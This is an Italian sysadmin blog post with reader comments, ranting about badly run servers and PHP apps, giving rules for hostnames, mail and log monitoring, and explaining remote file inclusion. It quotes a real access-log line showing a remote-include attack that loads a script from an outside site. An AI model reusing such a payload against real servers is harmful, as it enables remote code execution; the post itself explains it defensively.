Commenti & Opinioni |
Home Page | Commenti | Articoli | Faq | Documenti | Ricerca | Archivio | Storie dalla Sala Macchine | Contribuire | Imposta lingua:en it | Login/Register
Allora, dopo aver madonnato per parecchio tempo su servers che paiono installati e mantenuti da Attila l'Unno ed aver visto i problemi che i vari phprogrammatroti distribuiscono un po' troppo allegramente, ho deciso di mettere insieme queste dieci regolette. Probabilmente questo pistolotto verra' "espanso" in un articolo serio, ma stamani, dopo aver visto per la bazillionesima volta una cosa tipo
200.40.86.142 - - [22/Oct/2009:18:29:21 +0200] "GET /page/tools/phpsecurityadmin/include=http://www.thelampshade.com/store//images/attributes/id.txt%0D??
mi sono leggermente stufato.
Ovviamente ho mandato un paio di mails agli amministratori di quel cacchio di sito ed al di loro provider, ma non e' che mi aspetti molto.
Ed hanno pure il coraggio di chiamarlo "phpsecurityadmin"! PHPBruttaMerdaAdmin direi io...
Ecco quindi dieci semplici regolette, chiamiamole "le regole del
bravo sysadmin non-completamente-cerebroleso".
E prima che me lo domandi, "localhost", "pippo", "www" e "c1p8" NON SONO 'nomi decenti'. Soprattutto il primo e l'ultimo, che ti credi di essere spiritoso?
Qui' si potrebbe fare lo stesso discorso precedente, ma con una aggiunta: dare ai vari picci' dell'azienda lo stesso nome dell'utente puo' aver senso ma solo se tale picci' non esce mai dall'azienda o se l'utente ha uno ed un solo computer. Dare ai picci nomi come 'RKZ90876-3' ha l'ovvio problema che nessuno sa quale computer e' quello.
Che c'e' gia' troppo spam in giro per il mondo, perche' vuoi aggiungerne di piu'?
E se non sai che cosa e' un FQDN forse non dovresti gestire un server di posta. E prima che me lo domandi: 'localhost.localdomain' non e' un fqdn valido!
Questo non dovrebbe richiedere una spiegazione, ma c'e' un sacco di gente che
fornisce questo tipo di "funzionalita'" nelle sue phporcherie
web-applicazioni senza pensarci troppo, cosi' tu ti ritrovi il server di posta
blacklistato senza capire il perche'.
Anche questo non dovrebbe richiedere una spiegazione, ma e' un po' troppo tempo che trovo un po' troppi messaggi come quello riportato sopra nei miei log. E questo ci porta direttamente alla "regola" successiva...
Se vedi 10.000 richieste per un file .txt o .asp che non dovrebbe esistere comincia a preoccuparti, cosi' come se vedi 3000 mail nella coda. E se non sei in grado di capire i messaggi di log forse non dovresti fare il sysadmin.
Che sono obbligatori e specificati nelle RFC! E per 'gestire correttamente' non intendo 'redirigere verso /dev/null'. Chiaro?
Che ne ho piene le balle di vedere coglioni che cercano di eseguire roba da siti i cui sysadmin sono allo stesso livello dei nematodi
E per finire, ma non meno importante di tutto il resto...
E non cliccare 'cancella' o rispondere 'sonasegaio'!
ATTENZIONE: non cominciate con i commenti "ma ce l'hai con il php" e "php e' un linguaggio semplice e quindi...". NON ME NE FREGA UN BELINO! Chissa' perche' su 20 applicazioni-cacca 19 sono fatte in php, quindi per estensione io le considero tutte delle merdacce. Sono sicuro che, da qualche parte, ben nascosti, esistono dei programmatori php che non fanno di queste schifezze, ma io preferisco l'approccio "Guantanamo bay": tutte le applicazioni in php sono delle merde finche' non dimostrano il contrario. E se siete curiosi, la 20a applicazione-merda e' la nostra interfaccia in Java.
Addendum
Allora, visto che un sacco di gente ha maillato/commentato riguardo quel frammento di log che ho pubblicato e mi pare che in tanti abbiano dei dubbi vediamo di fare un po' di luce.
Quel frammento di log rappresenta un tentativo di utilizzo di cio' che e' comunemente chiamato remote include vulnerability. Lo scopo della cosa e' abbastanza semplice: ottenere l'esecuzione su di un server di uno script specifico per ottenere informazioni e/o accesso al server stesso.
In alcuni casi il malfattore (cracker) ha la possibilita' di uploadare lo script direttamente sul sito "bersaglio", sfruttando servizi esistenti (ftp con user/password beote) o bachi di programmi/web applicazioni che consentono l'upload di cose senza verificare (come ho descritto nella mia storia Secondo Round, nella quale io interpretavo la parte del cracker). In altri casi e' possibile usare una funzionalita' che PHP fornisce a piene mani: quella di includere uno script dentro ad un altro script ed eseguirlo. Tutto bene se l'inclusione non puo' essere 'manipolata', ma in moltissimi casi pare che il programmatore abbia deciso di "fidarsi" dell'utente e consente di specificare il file da includere nell'URL. Ed accetta anche un URL come "file da includere".
Quindi il gioco e': mettere il proprio script su un server da qualche parte, passare l'URL di tale script all'applicazione vulnerabile e vedere il proprio script eseguito sulla macchina "bersaglio".
Ovviamente cosa lo script puo' fare dipende dai diritti che sono assegnati al processo-web-server, ma qualche cosa mi dice che chi consente ad applicazioni del genere di funzionare sulla propria macchina senza applicare alcuna restrizione di accesso non ha molti problemi a dare tutti i diritti possibili ed immaginabili al proprio web-server.
Davide Bianchi
26/10/2009 15:59
I commenti sono aggiunti quando e soprattutto se ho il tempo di guardarli e dopo aver eliminato le cagate, spam, tentativi di phishing et similia. Quindi non trattenete il respiro.
Parole sante Di Eremita Solitario postato il 23/10/2009 09:52
@ Eremita Solitario Di Anonymous coward postato il 23/10/2009 10:40
Sinceramente credo che sia giusto che per configurare un server bastino un paio di click sulle qualche checkbox. (un secure by default del openBSD). Se cio' implica che non si possa abilitare PHP, mi pare un problema di PHP, dei programmi PHP (e dei programmatori), mica della configurazione server in due click.
Ma dubito si possa arrivare a questi livelli: e' piu' facile (e conveniente) trovare sysadmins che mettano i cerotti ad un sistema che trovare buoni programmatori web. -- Anonymous coward
@ Eremita Solitario Di Emanuele Graziano postato il 27/10/2009 15:22
>
>
in effetti con exchange bastano due click ( almeno credo ), il resto della merda che c'è dentro la crea di default :/ -- Emanuele Graziano
ok non comincio Di argaar postato il 23/10/2009 10:24
La differenza... Di Davide Inglima postato il 23/10/2009 11:03
... ed 8000 euro e 80 ore/uomo ...
... al giorno. -- http://limacat.blogspot.com
Nomi Di Luigi postato il 23/10/2009 13:05
Però parli bene e razzoli male. Visto che il TUO server si chiama "Gort" cosa intendi per nomi decenti ? -- Luigi
@ Luigi Di Davide Bianchi postato il 23/10/2009 13:12
il mio server si chiama gort.onlyforfun.net, se si chiamasse solo 'gort' allora potrei darti ragione. quando vedi 20 diversi indirizzi ip e tutti pretendono di chiamarsi 'www' allora cominci a vederci rosso.
-- Davide Bianchi
@ Davide Bianchi Di Luigi postato il 23/10/2009 14:37
>
> il mio server si chiama gort.onlyforfun.net, se si chiamasse solo 'gort' allora potrei darti ragione. quando vedi 20 diversi indirizzi ip e tutti pretendono di chiamarsi 'www' allora cominci a vederci rosso.
>
>
In questo caso hai perfettamente ragione, si ritorna sempre al punto 4 ... FQDN -- Luigi
che perle... Di Luca Benelli postato il 23/10/2009 13:41
Grazie per il sorriso settimanale
--
Luca Benelli
@ Luca Benelli Di R. Damon postato il 24/10/2009 21:05
Mille grazie ai wizard clicca-clicca, ai libriccini "for dummies" e a quelli che "faccio tutto io, tanto e' tutto facile". A volte mi sorprendo a pensare che il solo vero modo sensato di vendicarci sarebbe cambiar mestiere noi e lasciare TUTTE le aziende in mano a gente del genere.
> e mi spiego benissimo perché sono a casa a fare un ca%%o... [...]
Ho notato che sono in tanti. Non ho questo dispiacere, al momento, ma ogni volta che mi trovo a nasellare nel mercato del lavoro (in Italia) scopro una situazione sempre piu' orrenda. In troppi, datori di lavoro, committenti, chiamateli come volete, offrono lavori con l'intenzione ormai esplicita che chi li accetta DEBBA essere il classico ragazzino che vuole alzare qualche soldo facendo qualsiasi cosa e in qualsiasi quantita'; non certo il professionista che ci vorrebbe campare e magari metter su famiglia. Tutto il mondo sembra correre in quella disastrata direzione, anche se l'informatica e' uno di quei rami nei quali si producono le situazioni del tipo piu' aberrante e l'Italia una delle nazioni dove si producono piu' facilmente. Con questo intendo dire: peggio di noi, ormai, soltanto i friggitori di patatine dei fast-food; almeno, nei paesi cosiddetti progrediti. -- R. Damon
M _ _ _ _ IA Di Mauro Pietrobelli postato il 23/10/2009 14:33
Ti auguro un WE sereno e soprattutto che porti un pò di sale in zucca a quegli (brainless) Admin....
Ciao D. -- Mamo
postmaster Di Aleritty postato il 23/10/2009 15:47
Ehi, guarda che postmaster sei TU!
http://www.soft-land.org/storie/09/story32
Però ora hai rivelato la tua politica nel gestirli!
--
Aleritty
the good boy Di THE Anonymous coward postato il 24/10/2009 10:06
(register_global/allow_url_fopen/open_basedir/SElinux as well..)
Any fucking technology, if managed by retarded it's useless... -- THE Anonymous coward
@ THE Anonymous coward Di Davide Bianchi postato il 24/10/2009 11:21
Unfortunately it seems that some technology is easier to mismanage than others.
-- Davide Bianchi
Ok D. Di Il codardo senza nome postato il 24/10/2009 12:08
.. sei stato più che convincente
--
Il codardo senza nome
Mi sa che sono un caprone.. Di Rick postato il 24/10/2009 17:16
Posso attendermi lumi in merito?
Per quello che riguarda le mail obbligatorie, non mi pareva che root@ lo fosse, confermo invece le altre.
Ric -- Rick
@ Rick Di beppe postato il 24/10/2009 19:42
>
> Posso attendermi lumi in merito?
aiutino: all'interno della DIRECTORY (huau, e' da un po' che non le chiamo piu' col loro nome ) che suppongo venga richiamata dall'include del comando loggato ci sono dei file di testo che, suppongo, siano apparsi all'insaputa del "sysadmin" di turno.... Tali file,chissa' perche', iniziano con: #!/usr/bin/perl.
grande davide! ti seguo da molto e molto tempo e quando, purtroppo sono rare le volte, ho qualcosa da condividere, mi loggo volentieri.continua cosi'!
p.s.: aiutino bis: in realta' mancano dei pezzi dalla riga loggata, esattamente 2 lettere -- beppe
e se e' un webserver... Di R.Damon postato il 24/10/2009 20:48
E se e' un webserver e manda e-mail automatiche si presentera' comunque con un FQDN. In ogni caso, scrivera' nel From del messaggio E nell'"envelope" della sessione SMTP un indirizzo di posta decente, cioe' con un dominio valido dentro o perlomeno con al suo posto un hostname che abbia una risoluzione DNS nel mondo e non soltanto nella tua LAN privata del menga. >B-( -- R.Damon
scrib scrib Di Simone postato il 26/10/2009 09:14
*scrib scrib*
ricordarsi di cambiare il nome da grim a qualcosa di serio (ovviamente grim.xxxxxxx.it ... fiuu un lart in meno)
non oso pensare a che porcherie ho fatto su apache... è la seconda volta che ci metto le mani... non lartatemi! -- - Simone
Vediamo se ho capito che ha quel log... Di Sabrina postato il 26/10/2009 15:03
Se ho capito bene quella è una request per un file che include un file di testo che si trova su un server con un FQDN diverso? -- Sabrina
@ Sabrina Di Davide Bianchi postato il 26/10/2009 16:19
Vedi 'addendum' alla fine del commento. -- Davide Bianchi
Anche in questo caso l'errore rimane tra sedia e tastiera Di Gama postato il 27/10/2009 08:48
Come quasi sempre pero' i problemi non sono dati dagli strumenti ma da coloro che li usano, se non ricordo male infatti la definizione di CL, UL, ecc... non implica in maniera assoluta che il soggetto in questione sia un "utonto" ma comprende anche tanti wannabe e sedicenti esperti che spesso non imparano nemmeno dai propri errori.
Gama -- Tutti abbiamo bisogno di credere in qualcosa... Io credo che mi faro' un'altra birra!
@ Gama Di Davide Bianchi postato il 27/10/2009 09:05
Un bravo carpentiere sa che deve usare lo strumento giusto per il lavoro giusto. Un carpentiere-luser usera' tranquillamente quello che trova "piu' facile" perche' non ha voglia di imparare. Togli lo strumento "facile" e spingerai il carpentiere-luser a fare altro o ad imparare e diventare "meno-luser".
-- Davide Bianchi
@ Davide Bianchi Di Adriano postato il 27/10/2009 13:46
>
> Un bravo carpentiere sa che deve usare lo strumento giusto per il lavoro giusto. Un carpentiere-luser usera' tranquillamente quello che trova "piu' facile" perche' non ha voglia di imparare. Togli lo strumento "facile" e spingerai il carpentiere-luser a fare altro o ad imparare e diventare "meno-luser".
>
La tua analogia si perde velocemente: non togli il martello a un apprendista per forzarlo a imparare a usare il cacciavite, nè gli togli la sega per fargli usare lo scalpello. Lo mandi a fanculo e basta. La nostra professione, ahimè, è ancora troppo giovane per fare questo facilmente. -- Saludos
Adriano
La sicurezza e` sempre l'ultimo dei problemi Di Kurgan postato il 27/10/2009 10:38
Il problema e` che per loro (per i loro programmatori) le priorita` sono:
- farla bella
- farla in fretta
- farla che funzioni
- farla con le funzioni inutili che vuole il cliente, cosi` il cliente paga
- incassare i soldi dal cliente
- andare in vacanza
- altre 1000 cose
- smacchiare i leopardi
- lucidare le tartarughe
- chiedersi se l'applicazione sia sufficientemente sicura o no
Cosi` mi capita di sentirmi chiedere cose del tipo "senti, possiamo rendere mysql accessibile da fuori?" oppure "senti, perche` non posso includere pagine da un altro sito?" oppure "ehi, ma come mai i miei script non possono accedere a feisbuc?"
-- Il massimo danno con il minimo sforzo
@ Kurgan Di Alberto postato il 27/10/2009 22:50
uploadare? Di Anonymous coward postato il 01/11/2009 23:44
Il presente sito e' frutto del sudore della mia fronte (e delle mie dita), se siete interessati a ripubblicare uno degli articoli, documenti o qualunque altra cosa presente in questo sito per cortesia datemene comunicazione (o all'autore dell'articolo se non sono io), cosi' il giorno che faccio delle aggiunte potro' avvisarvi e magari mandarvi il testo aggiornato.
Questo sito era composto con VIM, ora e' composto con VIM ed il famosissimo CMS FdT.
Questo sito non e' ottimizzato per la visione con nessun browser particolare, ne' richiede l'uso di font particolari o risoluzioni speciali. Siete liberi di vederlo come vi pare e piace, o come disse qualcuno: "Finalmente uno dei POCHI siti che ancora funzionano con IE5 dentro Windows 3.1".